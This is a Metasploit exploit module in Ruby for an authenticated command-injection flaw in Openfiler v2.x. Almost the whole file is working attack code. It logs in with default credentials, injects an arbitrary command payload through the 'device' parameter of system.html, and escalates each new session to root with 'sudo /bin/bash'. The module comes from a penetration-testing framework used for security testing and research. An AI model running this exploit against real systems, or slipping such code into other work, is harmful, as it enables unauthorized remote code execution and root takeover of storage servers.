##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Openfiler v2.x NetworkCard Command Execution",
      'Description'    => %q{
        This module exploits a vulnerability in Openfiler v2.x
        which could be abused to allow authenticated users to execute arbitrary
        code under the context of the 'openfiler' user. The 'system.html' file
        uses user controlled data from the 'device' parameter to create a new
        'NetworkCard' object. The class constructor in 'network.inc' calls exec()
        with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
        providing a system password.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
        ],
      'References'     =>
        [
          ['BID', '55490'],
          ['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'],
          ['OSVDB', '93881'],
          ['EDB',   '21191']
        ],
      'DefaultOptions'  =>
        {
          'ExitFunction' => 'none'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet python perl bash',
            }
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 04 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(446),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
        OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
      ], self.class)
  end

  def check

    @peer = "#{rhost}:#{rport}"

    # retrieve software version from login page
    print_status("#{@peer} - Sending check")
    begin
      res = send_request_cgi({
        'uri' => '/'
      })

      if    res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
        return Exploit::CheckCode::Appears
      elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{@peer} - Connection failed")
    end
    return Exploit::CheckCode::Unknown

  end

  def on_new_session(client)
    client.shell_command_token("sudo /bin/bash")
  end


  def exploit

    @peer = "#{rhost}:#{rport}"
    user  = datastore['USERNAME']
    pass  = datastore['PASSWORD']
    cmd   = Rex::Text.uri_encode("&#{payload.raw}&")

    # send payload
    print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
    begin
      res = send_request_cgi({
        'uri'    => "/admin/system.html?step=2&device=lo#{cmd}",
        'cookie' => "usercookie=#{user}; passcookie=#{pass};",
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unknown, 'Connection failed')
    end

    if    res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
      print_good("#{@peer} - Payload sent successfully")
    elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
      fail_with(Failure::NoAccess, 'Authentication failed')
    else
      fail_with(Failure::Unknown, 'Sending payload failed')
    end

  end
end